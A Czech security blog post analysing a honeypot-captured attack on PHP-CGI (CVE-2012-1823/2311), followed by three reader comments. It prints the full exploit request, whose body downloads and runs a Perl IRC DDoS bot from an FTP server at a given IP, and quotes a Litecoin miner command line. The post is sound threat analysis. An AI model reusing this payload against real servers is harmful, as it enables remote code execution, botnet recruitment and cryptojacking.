Virtuální měny jako příležitost pro hackery

Mezi honeypoty, které sdružení CZ.NIC provozuje, patří i honeypot Glastopf. Ten simuluje webovou aplikaci a zaznamenává pokusy o útoky na ni. Předminulý týden jsem na něm narazil na tento HTTP požadavek:

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F
%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E
%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69
%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+
%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F
%69%6E%70%75%74+%2D%6E HTTP/1.1
Content-Length: 264
Content-Type: application/x-www-form-urlencoded
Host: -h

<? system("killall -9 perl;
killall -9 php;
cd /tmp;
wget ftp://199.71.214.66/bko -O /tmp/bko;
curl -O ftp://199.71.214.66/bko -O /tmp/bko;
fetch -U ftp://199.71.214.66/bko -O /tmp/bko;
lwp-download ftp://199.71.214.66/bko -O /tmp/bko;
perl /tmp/bko;
rm -rf /mpbko*"); ?>

Když dekódujeme query string, získáme toto (zformátováno):

-d+allow_url_include=on
+-d+safe_mode=off
+-d+suhosin.simulation=on
+-d+disable_functions=""
+-d+open_basedir=none
+-d+auto_prepend_file=php://input
+-d+cgi.force_redirect=0
+-d+cgi.redirect_status_env=0
+-d+auto_prepend_file=php://input
+-n

Jedná se o zneužití zranitelnosti PHP označené CVE-2012-1823 a její nekompletní opravy CVE-2012-2311, které cílí na verze nižší než 5.4.3 nebo 5.3.13 a prostředí, kde se PHP používá v konfiguraci CGI. Ve stručnosti je problém v neošetřeném případu, kdy v query stringu chybí znak „=“ a výše uvedené parametry se předávají při spuštění PHP (jejich částečné vysvětlení je například zde). Tělo tohoto požadavku je PHP skript s voláním funkce system, která spustí zadané příkazy s oprávněním, pod kterým běží web server.

Jakmile už má útočník možnost spouštět libovolné příkazy, následuje obvyklý scénář: stáhnout a spustit připravené soubory, v tomto případě IRC klienta DDoS Perl IrcBot 1.0. Zde končí informace, které nám dal honeypot. Další postup se dá ale odhadnout, když se podíváme, jaké další soubory jsou na použitém ftp serveru: mimo jiné dva binární soubory – 32 a 64bitová verze mineru cpuminer pro virtuální měnu Litecoin a instalační skript, který zajistí jeho spouštění přes crontab. Pokud někdo netuší, co jsou minery, tak se jedná o programy, kterými lze tzv. dolovat virtuální měny pomocí výpočtu složitých matematických úloh. V samotném spuštění mineru lze přečíst i přihlašovací údaje daného uživatele:

m64 -o stratum+tcp://hk.wemineltc.com:3333 -O judge.1:x -B

Jak je patrné minimálně z tohoto dotazu na stackoverflow.com, stejnou konfiguraci používal útočník již v říjnu. Že je dolování virtuálních měn novou možností pro hackery jak zhodnotit své útoky, o tom svědčí i tato zpráva Avastu z letošního srpna. V tomto případě se jednalo pro změnu u útok na Windows a dolovaly se Bitcoiny.

Jiří Machálek

Autor:

Komentáře (3)

  1. Petr říká:

    Welcome to communism!
    Stroje pracují za nás a všichni se budeme mít dobře.

  2. mcmiazga říká:

    Presne takto ma hackli :)
    System bol Debian Lenny

  3. Ondřej Surý říká:

    @mcmiazga: JFTR bezpečnostní podpora pro Debian Lenny skončila již skoro před dvěmi lety (http://www.debian.org/News/2012/20120209). Ale aspoň jste si zažil na vlastní kůži, že je potřeba aktualizovat…

Zanechte komentář